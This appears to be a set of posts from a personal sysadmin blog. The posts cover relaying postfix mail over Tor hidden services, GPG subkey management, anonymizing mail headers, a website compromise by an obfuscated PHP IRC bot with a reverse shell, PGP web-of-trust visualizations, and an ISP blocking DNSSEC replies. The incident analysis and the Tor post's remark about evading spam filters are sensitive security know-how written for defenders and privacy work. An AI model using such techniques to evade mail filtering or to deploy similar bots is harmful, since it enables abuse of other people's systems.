SMTP over Hidden Services with postfix

More and more privacy experts are nowdays calling people to move away from the email service provider giants (gmail, yahoo!, microsoft, etc) and are urging people to set up their own email services, to “decentralize”. This brings up many many other issues though, and one of which is that if only a small group people use a certain email server, even if they use TLS, it’s relatively easy for someone passively monitoring (email) traffic to correlate who (from some server) is communicating with whom (from another server). Even if the connection and the content is protected by TLS and GPG respectively, some people might feel uncomfortable if a third party knew that they are actually communicating (well these people better not use email, but let’s not get carried away).

This post is about sending SMTP traffic between two servers on the Internet over Tor, that is without someone being able to easily see who is sending what to whom. IMHO, it can be helpful in some situations to certain groups of people.

There are numerous posts on the Internet about how you can Torify all the SMTP connections of a postfix server, the problem with this approach is that most exit nodes are blacklisted by RBLs so it’s very probable that the emails sent will either not reach their target or will get marked as spam. Another approach is to create hidden services and make users send emails to each other at their hidden service domains, eg username@a2i4gzo2bmv9as3avx.onion. This is quite uncomfortable for users and it can never get adopted.

There is yet another approach though, the communication could happen over Tor hidden services that real domains are mapped to.

HOWTO
Both sides need to run a Tor client:
aptitude install tor torsocks

The setup is the following, the postmaster on the receiving side sets up a Tor Hidden Service for their SMTP service (receiver). This is easily done in his server (server-A) with the following line in the torrc:
HiddenServicePort 25 25. Let’s call this HiddenService-A (abcdefghijklmn12.onion). He then needs to notify other postmasters of this hidden service.

The postmaster on the sending side (server-B) needs to create 2 things, a torified SMTP service (sender) for postfix and a transport map that will redirect emails sent to domains of server-A to HiddenService-A.

Steps needed to be executed on server-B:
1. Create /usr/lib/postfix/smtp_tor with the following content:

#!/bin/sh

usewithtor /usr/lib/postfix/smtp $@

2. Make it executable
chmod +x /usr/lib/postfix/smtp_tor

3. Edit /etc/postfix/master.cf and add a new service entry
smtptor unix - - - - - smtp_tor

4. If you don’t already have a transport map file, create /etc/postfix/transport with content (otherwise just add the following to your transport maps file):

.onion              smtptor:
domain-a.net        smtptor:[abcdefghijklmn12.onion]
domain-b.com        smtptor:[abcdefghijklmn12.onion]

5. if you don’t already have a transport map file edit /etc/postfix/main.cf and add the following:
transport_maps = hash:/etc/postfix/transport

6. run the following:
postmap /etc/postfix/transport && service postfix reload

Conclusion
Well that’s about it, now every email sent from a user of server-B to username@domain-a.net will actually get sent over Tor to server-A on its HiddenService. Since HiddenServices are usually mapped on 127.0.0.1, it will bypass the usual sender restrictions. Depending on the setup of the receiver it might even evade spam detection software, so beware…If both postmasters follow the above steps then all emails sent from users of server-A to users of server-B and vice versa will be sent anonymously over Tor.

There is nothing really new in this post, but I couldn’t find any other posts describing such a setup. Since it requires both sides to actually do something for things to work, I don’t think it can ever be used widely, but it’s still yet another way to take advantage of Tor and Hidden Services.

Concerns
Can hidden services scale to support hundreds or thousands of connections e.g. from a mailing list ? who knows…
This type of setup needs the help of big fishes (large independent email providers like Riseup) to protect the small fishes (your own email server). So a new problem arises, bootstrapping and I’m not really sure this problem has any elegant solution. The more servers use this setup though, the more useful it becomes against passive adversaries trying to correlate who communicates with whom.
The above setup works better when there are more than one hidden services running on the receiving side so a passive adversary won’t really know that the incoming traffic is SMTP, eg when you also run a (busy) HTTP server as a hidden service at the same machine.
Hey, where did MX record lookup go ?

Trying it
If anyone wants to try it, you can send me an email using voidgrz25evgseyc.onion as the Hidden SMTP Service (in the transport map).

Links:
http://www.postfix.org/master.5.html
http://www.groovy.net/ww/2012/01/torfixbis

Creating a new GPG key with subkeys

A few weeks ago I created my new GPG/PGP key with subkeys and a few people asked me why and how. The rationale for creating separate subkeys for signing and encryption is written very nicely in the subkeys page of the debian wiki. The short answer is that having separate subkeys makes key management a lot easier and protects you in certain occasions, for example you can create a new subkey when you need to travel or when your laptop gets stolen, without losing previous signatures. Obviously you need to keep your master key somewhere very very safe and certainly not online or attached to a computer.

You can find many other blog posts on the net on the subject, but most of them are missing a few parts. I’ll try to keep this post as complete as possible. If you are to use gpg subkeys you definitely need an encrypted usb to store the master key at the end. So if you don’t already have an encrypted USB go and make one first.

When this process is over you will have a gpg keypair on your laptop without the master key, you will be able to use that for everyday encryption and signing of documents but there’s a catch. You won’t be able to sign other people’s keys. To do that you will need the master key. But that is something that does not happen very often so it should not be a problem in your everyday gpg workflow. You can read about signing other people’s keys at the end of this post. AFAIK you can’t remove your master key using some of the gpg GUIs, so your only hope is the command line. Live with it…

First some basic information that will be needed later.
When listing secret keys with gpg -K keys are marked with either ‘sec’ or ‘ssb’. When listing (public) keys with gpg -k keys are marked with ‘pub’ or ‘sub’.

sec => 'SECret key'
ssb => 'Secret SuBkey'
pub => 'PUBlic key'
sub => 'public SUBkey'

When editing a key you will see a usage flag on the right. Each key has a role and that is represented by a character. These are the roles and their corresponding characters:

Constant           Character      Explanation
─────────────────────────────────────────────────────
PUBKEY_USAGE_SIG      S       key is good for signing
PUBKEY_USAGE_CERT     C       key is good for certifying other signatures
PUBKEY_USAGE_ENC      E       key is good for encryption
PUBKEY_USAGE_AUTH     A       key is good for authentication

Before doing anything make sure you have a backup of your .gnupg dir.
$ umask 077; tar -cf $HOME/gnupg-backup.tar -C $HOME .gnupg

Secure preferences
Now edit your .gnupg/gpg.conf and add or change the following settings (most are stolen from Riseup: OpenPGP Best Practices):

# when outputting certificates, view user IDs distinctly from keys:
fixed-list-mode
# long keyids are more collision-resistant than short keyids (it's trivial to make a key with any desired short keyid)
keyid-format 0xlong
# when multiple digests are supported by all recipients, choose the strongest one:
personal-digest-preferences SHA512 SHA384 SHA256 SHA224
# preferences chosen for new keys should prioritize stronger algorithms:
default-preference-list SHA512 SHA384 SHA256 SHA224 AES256 AES192 AES CAST5 BZIP2 ZLIB ZIP Uncompressed
# If you use a graphical environment (and even if you don't) you should be using an agent:
# (similar arguments as https://www.debian-administration.org/users/dkg/weblog/64)
use-agent
# You should always know at a glance which User IDs gpg thinks are legitimately bound to the keys in your keyring:
verify-options show-uid-validity
list-options show-uid-validity
# when making an OpenPGP certification, use a stronger digest than the default SHA1:
cert-digest-algo SHA256
# prevent version string from appearing in your signatures/public keys
no-emit-version 

Create new key
Time to create the new key. I’m marking user input with bold (↞) arrows

$ gpg --gen-key
gpg (GnuPG) 1.4.12; Copyright (C) 2012 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection? 1 ↞↞↞↞ 
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048)  4096 ↞↞↞↞ 
Requested keysize is 4096 bits
Please specify how long the key should be valid.
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0)  0 ↞↞↞↞ 
Key does not expire at all
Is this correct? (y/N)  y ↞↞↞↞ 

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
    "Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"

Real name: foo bar ↞↞↞↞ 
Email address: foobar@void.gr ↞↞↞↞ 
Comment:
You selected this USER-ID:
"foo bar <foobar@void.gr>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit?  O ↞↞↞↞ 
You need a Passphrase to protect your secret key.

We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
.............+++++
..+++++

gpg: key 0x6F87F32E2234961E marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   3  signed:  14  trust: 0-, 0q, 0n, 0m, 0f, 3u
gpg: depth: 1  valid:  14  signed:   9  trust: 13-, 1q, 0n, 0m, 0f, 0u
gpg: next trustdb check due at 2014-03-18
pub   4096R/0x6F87F32E2234961E 2013-12-01
      Key fingerprint = 407E 45F0 D914 8277 3D28  CDD8 6F87 F32E 2234 961E
uid                 [ultimate] foo bar <foobar@void.gr>
sub   4096R/0xD3DCB1F51C37970B 2013-12-01

Then add another uid and add it as the default:

$ gpg --edit-key 0x6F87F32E2234961E                                      
gpg (GnuPG) 1.4.12; Copyright (C) 2012 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Secret key is available.

pub  4096R/0x6F87F32E2234961E  created: 2013-12-01  expires: never       usage: SC  
                               trust: ultimate      validity: ultimate
sub  4096R/0xD3DCB1F51C37970B  created: 2013-12-01  expires: never       usage: E   
[ultimate] (1). foo bar <foobar@void.gr>

gpg> adduid ↞↞↞↞ 
Real name: foo bar ↞↞↞↞ 
Email address: foobar@riseup.net ↞↞↞↞ 
Comment: 
You selected this USER-ID:
    "foo bar <foobar@riseup.net>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit?  O ↞↞↞↞ 

You need a passphrase to unlock the secret key for
user: "foo bar <foobar@void.gr>"
4096-bit RSA key, ID 0x6F87F32E2234961E, created 2013-12-01

pub  4096R/0x6F87F32E2234961E  created: 2013-12-01  expires: never       usage: SC  
                               trust: ultimate      validity: ultimate
sub  4096R/0xD3DCB1F51C37970B  created: 2013-12-01  expires: never       usage: E   
[ultimate] (1)  foo bar <foobar@void.gr>
[ unknown] (2). foo bar <foobar@riseup.net>

gpg> uid 2 ↞↞↞↞ 
gpg> primary ↞↞↞↞ 
gpg> save ↞↞↞↞ 

Let’s see what we’ve got until now, 0x6F87F32E2234961E is the master key (SC flags) and 0xD3DCB1F51C37970B (E flag)is a separate subkey for encryption.

Add new signing subkey
Since we already have a separate encryption subkey, it’s time for a new signing subkey. Expiration dates for keys is a very hot topic. IMHO there’s no point in having an encryption subkey with an expiration date, expired keys are working just fine for decryption anyways, so I’ll leave it without one, but I want the signing key that I’m regularly using to have an expiration date. You can read more about this topic on the gnupg manual (Selecting expiration dates and using subkeys).

$ gpg --edit-key 0x6F87F32E2234961E
gpg (GnuPG) 1.4.12; Copyright (C) 2012 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Secret key is available.

pub  4096R/0x6F87F32E2234961E  created: 2013-12-01  expires: never       usage: SC  
                               trust: ultimate      validity: ultimate
sub  4096R/0xD3DCB1F51C37970B  created: 2013-12-01  expires: never       usage: E   
[ultimate] (1). foo bar <foobar@riseup.net>
[ultimate] (2)  foo bar <foobar@void.gr>

gpg> addkey ↞↞↞↞ 
Key is protected.

You need a passphrase to unlock the secret key for
user: "foo bar <foobar@riseup.net>"
4096-bit RSA key, ID 0x6F87F32E2234961E, created 2013-12-01

Please select what kind of key you want:
   (3) DSA (sign only)
   (4) RSA (sign only)
   (5) Elgamal (encrypt only)
   (6) RSA (encrypt only)
Your selection? 4 ↞↞↞↞ 
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 4096 ↞↞↞↞ 
Requested keysize is 4096 bits
Please specify how long the key should be valid.
         0 = key does not expire
        = key expires in n days
      w = key expires in n weeks
      m = key expires in n months
      y = key expires in n years
Key is valid for? (0) 5y ↞↞↞↞ 
Key expires at Fri 30 Nov 2018 03:36:47 PM EET
Is this correct? (y/N) y ↞↞↞↞ 
Really create? (y/N) y ↞↞↞↞ 
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
+++++
...............+++++

pub  4096R/0x6F87F32E2234961E  created: 2013-12-01  expires: never       usage: SC  
                               trust: ultimate      validity: ultimate
sub  4096R/0xD3DCB1F51C37970B  created: 2013-12-01  expires: never       usage: E   
sub  4096R/0x296B12D067F65B03  created: 2013-12-01  expires: 2018-11-30  usage: S   
[ultimate] (1). foo bar <foobar@riseup.net>
[ultimate] (2)  foo bar <foobar@void.gr>

gpg> save ↞↞↞↞ 

As you can see there’s a new subkey 0x296B12D067F65B03 with just the S flag, that the signing subkey.
Before moving forward it’s wise to create a revocation certificate:

$ gpg --output 0x6F87F32E2234961E.gpg-revocation-certificate --armor --gen-revoke 0x6F87F32E2234961E
sec  4096R/0x6F87F32E2234961E 2013-12-01 foo bar <foobar@riseup.net>

Create a revocation certificate for this key? (y/N) y
Please select the reason for the revocation:
  0 = No reason specified
  1 = Key has been compromised
  2 = Key is superseded
  3 = Key is no longer used
  Q = Cancel
(Probably you want to select 1 here)
Your decision? 1 ↞↞↞↞ 
Enter an optional description; end it with an empty line:
> This revocation certificate was generated when the key was created. ↞↞↞↞ 
> 
Reason for revocation: Key has been compromised
This revocation certificate was generated when the key was created.
Is this okay? (y/N) y ↞↞↞↞ 

You need a passphrase to unlock the secret key for
user: "foo bar <foobar@riseup.net>"
4096-bit RSA key, ID 0x6F87F32E2234961E, created 2013-12-01

Revocation certificate created.

Please move it to a medium which you can hide away; if Mallory gets
access to this certificate he can use it to make your key unusable.
It is smart to print this certificate and store it away, just in case
your media become unreadable.  But have some caution:  The print system of
your machine might store the data and make it available to others!

Encrypt this file and store it someplace safe, eg your encrypted USB. You should definitely not leave it at your laptop’s hard disk. You can even print it and keep it in this form, it’s small enough so one could type it if needed.

Remove Master key
And now the interesting part, it’s time to remove the master key from your laptops’s keychain and just leave the subkeys. You will store the master key in the encrypted usb so it stays safe.

First go and backup your .gnupg dir on your encrypted USB. Don’t move forward until you do that. DON’T!

$ rsync -avp $HOME/.gnupg /media/encrypted-usb
or
$ umask 077; tar -cf /media/encrypted-usb/gnupg-backup-new.tar -C $HOME .gnupg

Did you backup your key? Are you sure ?

Then it’s time to remove the master key!

$ gpg --export-secret-subkeys 0x6F87F32E2234961E > /media/encrypted-usb/subkeys
$ gpg --delete-secret-key 0x6F87F32E2234961E
$ gpg --import /media/encrypted-usb/subkeys
$ shred -u /media/encrypted-usb/subkeys

What you’ve accomplished with this process is export the subkeys to /media/encrypted-usb/subkeys then delete the master key and re-import just the subkeys. Master key resides only on the encrypted USB key now. Don’t lose that USB key. USB keys are extremely cheap, make multiple copies of the encrypted key and place them in safe places, you can give one such key to your parents or your closest friend in case of emergency. For safety, make sure there’s at least one copy outside of your residence.

You can see the difference of the deleted master key by comparing the listing of the secret keys in your .gnupg and your /media/encrypted-usb/.gnupg/ dir.

$ gpg -K 0x6F87F32E2234961E                                             
sec#   4096R/0x6F87F32E2234961E 2013-12-01
uid                            foo bar <foobar@riseup.net>
uid                            foo bar <foobar@void.gr>
ssb   4096R/0xD3DCB1F51C37970B 2013-12-01
ssb   4096R/0x296B12D067F65B03 2013-12-01 [expires: 2018-11-30] 
$ gpg --home=/media/encrypted-usb/.gnupg/ -K 0x6F87F32E2234961E                                             
sec   4096R/0x6F87F32E2234961E 2013-12-01
uid                            foo bar <foobar@riseup.net>
uid                            foo bar <foobar@void.gr>
ssb   4096R/0xD3DCB1F51C37970B 2013-12-01
ssb   4096R/0x296B12D067F65B03 2013-12-01 [expires: 2018-11-30] 

Notice the pound (#) in the ‘sec’ line from your ~/.gnupg/. That means that the master key is missing.

Upload your new key to the keyservers if you want to…

Key Migration
In case you’re migrating from an older key you need to sign your new key with the old one (not the other way around!)
$ gpg --default-key 0xOLD_KEY --sign-key 0x6F87F32E2234961E

Write a transition statement and sign it with both the old and the new key:

$ gpg --armor -b -u 0xOLD_KEY -o sig1.txt gpg-transition.txt
$ gpg --armor -b -u 0x6F87F32E2234961E -o sig2.txt gpg-transition.txt

That’s about it…upload the transition statement and your signatures to some public space (or mail it to your web of trust).

Signing other people’s keys
Because your laptop’s keypair does not have the master key anymore and the master key is the only one with the ‘C’ flag, when you want to sign someone else’s key, you will need to mount your encrypted USB and then issue a command that’s using that encrypted directory:
$ gpg --home=/media/encrypted-usb/.gnupg/ --sign-key 0xSomeones_keyid
Export your signature and send it back to people whose key you just signed..

Things to play with in the future
Next stop ? An OpenPGP Smartcard! (eshop) or a yubikey NEO, (related blogpost). Any Greeks want to join me for a mass (5+) order?

References
https://wiki.debian.org/subkeys
https://we.riseup.net/riseuplabs+paow/openpgp-best-practices
https://alexcabal.com/creating-the-perfect-gpg-keypair/

P.S. 0x6F87F32E2234961E is obviously just a demo key. You can find my real key here.
P.S.2 The above commands were executed on gpg 1.4.12 on Debian Wheezy. In the future the output of the commands will probably differ.

Anonymize headers in postfix

E-mail headers usually leak some information about the person sending the email. Most servers reveal the sender’s originating IP, but sometimes we might not want this behavior. Here’s a simple way to modify your postfix server to remove just the IP of the sender. The original idea is from https://we.riseup.net/debian/mail but with postfix 2.9 version (Debian Wheezy) using the way proposed in the riseup article you will also be anonymizing all intermediate ‘Received: from’ headers and not just the sender’s. The setup proposed by riseup article seems to work fine with postfix 2.7 (Debian Squeeze).

1. Install postfix-pcre if you haven’t already.
# apt-get install postfix-pcre


2.
Create a file /etc/postfix/smtp_header_checks with content:
/^\s*(Received: from)[^\n]*(.*)/ REPLACE $1 [127.0.0.1] (localhost [127.0.0.1])$2


3.
Edit /etc/postfix/master.cf
Find the section about submission and add at the end of it: -o cleanup_service_name=subcleanup
e.g.

submission inet n       -       -       -       -       smtpd
  -o smtpd_tls_security_level=encrypt
  -o smtpd_sasl_auth_enable=yes
  -o smtpd_client_restrictions=permit_sasl_authenticated,reject
  -o milter_macro_daemon_name=ORIGINATING

submission inet n       -       -       -       -       smtpd
  -o smtpd_tls_security_level=encrypt
  -o smtpd_sasl_auth_enable=yes
  -o smtpd_client_restrictions=permit_sasl_authenticated,reject
  -o milter_macro_daemon_name=ORIGINATING
  -o cleanup_service_name=subcleanup

Then at the end of /etc/postfix/master.cf file add the following:

subcleanup unix n       -       -       -       0       cleanup
    -o header_checks=pcre:/etc/postfix/smtp_header_checks

That’s it, reload your postfix and you’re done. When you’ll be sending emails over submission (you do use submission instead of smtp to send your emails, right?) then the first ‘Received’ header will be modified like the following example.
Instead of:

Received: from foo.bar (abcd.efgh.domain.tld [111.222.100.200])
        by mail.domain.tld (Postfix) with ESMTPA id BAB8A1A0224
        for <user@dst.domain2.tld>; Sun, 24 Nov 2013 15:47:50 +0100 (CET)

It will be:

Received: from [127.0.0.1] (localhost [127.0.0.1])
        by mail.domain.tld (Postfix) with ESMTPA id BAB8A1A0224
        for <user@dst.domain2.tld>; Sun, 24 Nov 2013 15:47:50 +0100 (CET)

Extra
If you want to anonymize even more headers, try adding the following to /etc/postfix/smtp_header_checks

/^\s*User-Agent/        IGNORE
/^\s*X-Enigmail/        IGNORE
/^\s*X-Mailer/          IGNORE
/^\s*X-Originating-IP/  IGNORE

Logging
As the riseup article says, be very careful of what is being logged at the server. If you don’t want to log the replacements done by pcre then add something like the following in your rsyslog.conf before any other rule:
:msg, contains, "replace: header Received:" ~

Another day another hacked website

Yesterday morning, phone rings to notify my of a new sms. Someone could not access his website on some server that I am root/administer.
I tried to ping the server and got 1 reply every 10-15 packets so my initial thought was that the hosting provider had fucked up. I pinged other machines in the “neighborhood”, they replied just fine. So the problem lied in my server. I got console access through IPMI, you know…the ones with the cipher zero bug, and I managed to login. An apache2 process was constantly using 100% of a core and the machine sent gazillion packets towards a certain destination.

Since I wanted to investigate what exactly this process did, I put an iptables entry in my OUTPUT chain to block packets towards that destination. The machine became responsive again, though the apache process still ran at 100%. Since I run my vhosts using apache2 mpm_itk module, I knew through the apache2 PIDs’ username which site had been hacked. I grepped the logs for any POST, but I couldn’t see anything. Unfortunately the logs only go back 2 days (NOT my policy! and a very bad one actually…but anyway).

strace -p PID did not yield anything interesting, just the process trying to create sockets to send packets towards the destination.

socket(PF_NETLINK, SOCK_RAW, 0) = 417
bind(417, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 0
getsockname(417, {sa_family=AF_NETLINK, pid=11398, groups=00000000}, [12]) = 0
sendto(417, "\24\0\0\0\26\0\1\3\233\323\354Q\0\0\0\0\0\0\0\0", 20, 0, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 20
recvmsg(417, {msg_name(12)={sa_family=AF_NETLINK, pid=0, groups=00000000}, msg_iov(1)=[{"0\0\0\0\24\0\2\0\233\323\354Q\206,\0\0\2\10\200\376\1\0\0\0\10\0\1\0\177\0\0\1"..., 4096}], msg_controllen=0, msg_flags=0}, 0) = 588
recvmsg(417, {msg_name(12)={sa_family=AF_NETLINK, pid=0, groups=00000000}, msg_iov(1)=[{"@\0\0\0\24\0\2\0\233\323\354Q\206,\0\0\n\200\200\376\1\0\0\0\24\0\1\0\0\0\0\0"..., 4096}], msg_controllen=0, msg_flags=0}, 0) = 128
recvmsg(417, {msg_name(12)={sa_family=AF_NETLINK, pid=0, groups=00000000}, msg_iov(1)=[{"\24\0\0\0\3\0\2\0\233\323\354Q\206,\0\0\0\0\0\0\1\0\0\0\24\0\1\0\0\0\0\0"..., 4096}], msg_controllen=0, msg_flags=0}, 0) = 20
close(417) = 0
socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 417
fcntl(417, F_GETFL) = 0x2 (flags O_RDWR)
fcntl(417, F_SETFL, O_RDWR|O_NONBLOCK) = 0
connect(417, {sa_family=AF_INET, sin_port=htons(4883), sin_addr=inet_addr("X.Y.Z.W")}, 16) = 0
fcntl(417, F_SETFL, O_RDWR) = 0
sendto(417, "\207\25\312P\322t\0#\317}jf\2(W\374\375\232h\213\220\31\355\277)\320[\255\273\276\221\374"..., 8192, MSG_DONTWAIT, NULL, 0) = -1 EPERM (Operation not permitted)
close(417) = 0

lsof -n -p PID output had hundreds of open log files and a few connections. Grepping out the logs I noticed one that was quite interesting, it went towards another server at port 5555.
apache2 11398 XXXXXXX 416u IPv4 831501972 0t0 TCP A.B.C.D:59210->B.C.D.E:5555 (CLOSE_WAIT)

I run tcpdump there, and of course it was an irc connection. I started capturing everything.

lsof also revealed this:
apache2 11398 XXXXXXX cwd DIR 8,7 4096 2474373 /var/www/vhosts/XXXXXXX/httpdocs/libraries/phpgacl
which I could have have also seen it doing ls /proc/PID/cwd/ …but anyway.

Looking inside that dir I found a file named gacl_db.php. It was base64 encoded. Well actually it was multiple times base64 encoded and obfsuscated by using character substitutions, so I had to de-obfuscate it. It was quite easy using php and some bash scripting.

This is the original base64 encoded/obfuscated file: Original gacl_db.php
This is the final result: Deobfuscated gacl_db.php
(I have removed the irc server details from the deobfuscated file, it’s still there in the original file for whoever wants it though)

It’s just an IRC bot containing a perl reverse shell as well. It has commands to flood other servers, and that’s what my server was doing.

I joined the IRC server and at that time there were more than 90 bots inside. Right now that I’m writing this blog post there are less than 50. Every bot joining the channel outputs a text like this:

[uname!]: FreeBSD a.b.c.d 8.1-RELEASE-p5 FreeBSD 8.1-RELEASE-p5 #10: Fri Sep 30 14:45:56 MSK 2011 root@a.b.c.d:/path/to/to/to/sth pl#27 amd64 (safe: off)
[vuln!]: http://www.a-vhost-name.TLD/libraries/phpgacl/gacl_db.php
[uname!]: Linux x.y.z.w 3.2.0-43-generic #68-Ubuntu SMP Wed May 15 03:33:33 UTC 2013 x86_64 (safe: off)
[vuln!]: http://www.another-vhost-name.another-TLD/libraries/phpgacl/gacl_db.php

So if you run servers or websites, do a locate gacl_db.php.

Since all the bot/servers entering post a [vuln!] message about phpgacl, my guess is that the original vulnerability that allowed the attacker to gain access is right there. I haven’t had time to look into it yet, but I’ve warned my clients to remove this library from their websites as a precaution. You should probably do the same.

Greek PGP Web of Trust 2012 edition

I’ve very glad for hosting this guest post. Dorothea put some real effort into it. So…enjoy!

—————————————————————————————————————–
In 2008 Patroklos Argyroudis created the first visualization of the greek PGP web of trust, based on information supplied mostly by people who attended a keysigning party at Thessaloniki. You can read his related posts at sysc.tl/tag/web-of-trust/ [0]
In 2012, during the second cryptoparty [1] at hackerspace.gr [2], George Kargiotakis suggested if someone wanted to update the network. I decided to undertake the task and you can see some of the visualizations below.

Visualizations:
1. Venn of persons that have signed others and of persons that have been signed by others
2. Greek PGP network for 2012
3. Trust in the 2012 Greek PGP network
4. Highlighting the persons who have signed more people
5. Do people trust more persons than they are trusted by?
6. Geolocation of individuals (globally)
7. Geolocation of individuals (in Greece)
8. Gender percentages
9. Educational and research institutes in the PGP network
10. Animation: Formation through time of associations that were active in 2012
11. Communities and the ten most important positions in the 2012 Greek PGP network according to Eigen value centrality

Additional sections:
12. Outline of methodology
13. Keyserver & keys used
14. Notes on methodology
15. Software and visualization notes
16. Problems encountered and how you can help
17. Future plans
18. Web references
19. Synopsis
20. Communication
21. Thanks
(more…)

How Vodafone Greece degrades my Internet experience

The title may sound a bit pompous, but please read on and you’ll see how certain decisions can cripple, or totally disrupt modern Internet services and communications as these are offered(?) by Vodafone’s mobile Internet solutions.

== The situation ==
I’ve bought a mobile Internet package from Vodafone Greece in order to be able to have 3G access in places where I don’t have access to wifi or ethernet. I am also using a local caching resolver on my laptop (Debian Linux), running unbound software, to both speed up my connections and to have mandatory DNSSEC validation for all my queries. Many of you might ask why do I need DNSSEC validation of all my queries since only very few domains are currently using DNSSEC, well I don’t have a reply that applies to everyone, let’s just say for now that I like to experiment with new things. After all, this is the only way to learn new things, experiment with them. Let’s not forget though that many TLDs are now signed, so there are definitely a few records to play with. Mandatory DNSSEC validation has led me in the past to identify and investigate a couple other problems, mostly having to do with broken DNSSEC records of various domains and more importantly dig deeper into IPv6 and fragmentation issues of various networks. This last topic is so big that it needs a blog post, or even a series of posts, of it’s own. It’s my job after all to find and solve problems, that’s what system or network administrators do (or should do).

== My setup ==
When you connect your 3G dongle with Vodafone Greece, they sent you 2 DNS servers (two out of 213.249.17.10, 213.249.17.11, 213.249.39.29) through ipcp (ppp). In my setup though, I discard them and I just keep “nameserver 127.0.0.1” in my /etc/resolv.conf in order to use my local unbound. In unbound’s configuration I have set up 2 forwarders for my queries, actually when I know I am inside an IPv6 network I use 4 addresses, 2 IPv4 and 2 IPv6 for the same 2 forwarders. These forwarders are hosted where I work (GRNET NOC) and I have also set them up to do mandatory DNSSEC validation themselves.
So my local resolver, which does DNSSEC validation, is contacting 2 other servers who also do DNSSEC validation. My queries carry the DNS protocol flag that asks for DNSSEC validation and I expect them to validate every response possible.

As you can see in the following screenshot, here’s what happens when I want to visit a website. I ask my local caching resolver, and that resolver asks one of it’s forwarders adding the necessary DNSSEC flags in the query.
The response might have the “ad” (authenticated) DNSSEC flag, depending whether the domain I’m visiting is DNSSEC signed or not.

[Screenshot of DNS queries]
dnssec_query

== The problem ==
What I noticed was that using this setup, I couldn’t visit any sites at all when I connected with my 3G dongle on Vodafone’s network. When I changed my /etc/resolv.conf to use Vodafone’s DNS servers directly, everything seemed work as normal, at least for browsing. But then I tried to query for DNSSEC related information on various domains manually using dig, Vodafone’s resolvers never sent me back any DNSSEC related information. Well actually they never sent me back any packet at all when I asked them for DNSSEC data.

Here’s an example of what happens with and without asking for DNSSEC data. The first query is without requesting DNSSEC information and I get a normal reply, but upon asking for the extra DNSSEC data, I get nothing back.
[Screenshot of ripe.net +dnssec query through Vodafone's servers]
no_dnssec_replies_by_vodafone

== Experimentation ==
Obviously changing my forwarders configuration in unbound to the Vodafone DNS servers did not work because Vodafone’s DNS servers never send me back any DNSSEC information at all. Since my unbound is trying to do DNSSEC validation of everything, obviously including the root (.) zone, I need to get back packets that contain these records. Else everything fails. I could get unbound working with my previous forwarders or with Vodafone’s servers as forwarders, only by disabling the DNSSEC validation, that is commenting out the auto-trust-anchor-file option.

Then I started doing tests on my original forwarders that I had in my configuration (and are managed by me). I could see that my query packets arrived at the server and the server always sent back the proper replies. But whenever the reply contained DNSSEC data, that packet was not forwarded to my computer through Vodafone’s 3G network.

More tests were to follow and obviously my first choice were Google’s public resolvers, 8.8.8.8 and 8.8.4.4. Surprise, surprise! I could get any DNSSEC related information I wanted. The exact same result I got upon testing with OpenDNS resolvers, 208.67.222.222 and 208.67.220.220. From a list of “fairly known” public DNS servers that I found here, only ScrubIT servers seems to be currently blocked by Vodafone Greece. Comodo DNS, Norton DNS, and public Verizon DNS all work flawlessly.

My last step was to try and get DNSSEC data over tcp instead of udp packets. Surprise, surprise again, well not at all any more… I could get back responses containing the DNSSEC information I wanted.

== Conclusion ==
Vodafone Greece for some strange reason (I have a few ideas, starting with…disabling skype) seems to “dislike” large UDP responses, among which are obviously DNS replies carrying DNSSEC information. These responses can sometimes be even bigger than 1500bytes. My guess is that in order to minimize hassle for their telephone support, they have whitelisted a bunch of “known” DNS servers. Obviously the thought of breaking DNSSEC and every DNSSEC signed domain for their customers hasn’t crossed their minds yet. What I don’t understand though is why their own DNS servers are not whitelisted. Since they trust other organizations’ servers to send big udp packets, why don’t they allow DNSSEC from their own servers? Misconfiguration? Ignorance? On purpose?

The same behavior can (sometimes -> further investigation needed here) be seen while trying to use OpenVPN over udp. Over tcp with the same servers, everything works fine. That reminds me I really need to test ocserv soon…

== Solution ==
I won’t even try to contact Vodafone’s support and try to convince their telephone helpdesk to connect me to one of their network/infrastructure engineers. I think that would be completely futile. If any of you readers though, know anyone working at Vodafone Greece in _any_ technical department, please send them a link to this blog post. You will do a huge favor to all Vodafone Greece mobile Internet users and to the Internet itself.

The Internet is not just for HTTP stuff, many of us use it in various other ways. It is unacceptable for any ISP to block, disrupt, interrupt or get in the middle of such communications.
Each one of us users should be able to use DNSSEC without having to send all our queries to Google, OpenDNS or any other information harvesting organization.

== Downloads ==
I’m uploading some pcaps here for anyone who wants to take a look. Use wireshark/tcpdump to read them.

A. tcpdump querying for a non-DNSSEC signed domain over 3G. One query without asking for DNSSEC and two queries asking for DNSSEC, all queries go to DNS server 194.177.210.10. All queries arrived back. The tcpdump was created on 194.177.210.10.
vf_non-dnssec_domain_query.pcap

B. tcpdump querying for a DNSSEC signed domain over 3G. One query without asking for DNSSEC and three queries asking for DNSSEC, all queries go to DNS server 194.177.210.10. The last three queries never arrived back at my computer. The tcpdump was created on 194.177.210.10.
vf_dnssec_domain_query.pcap
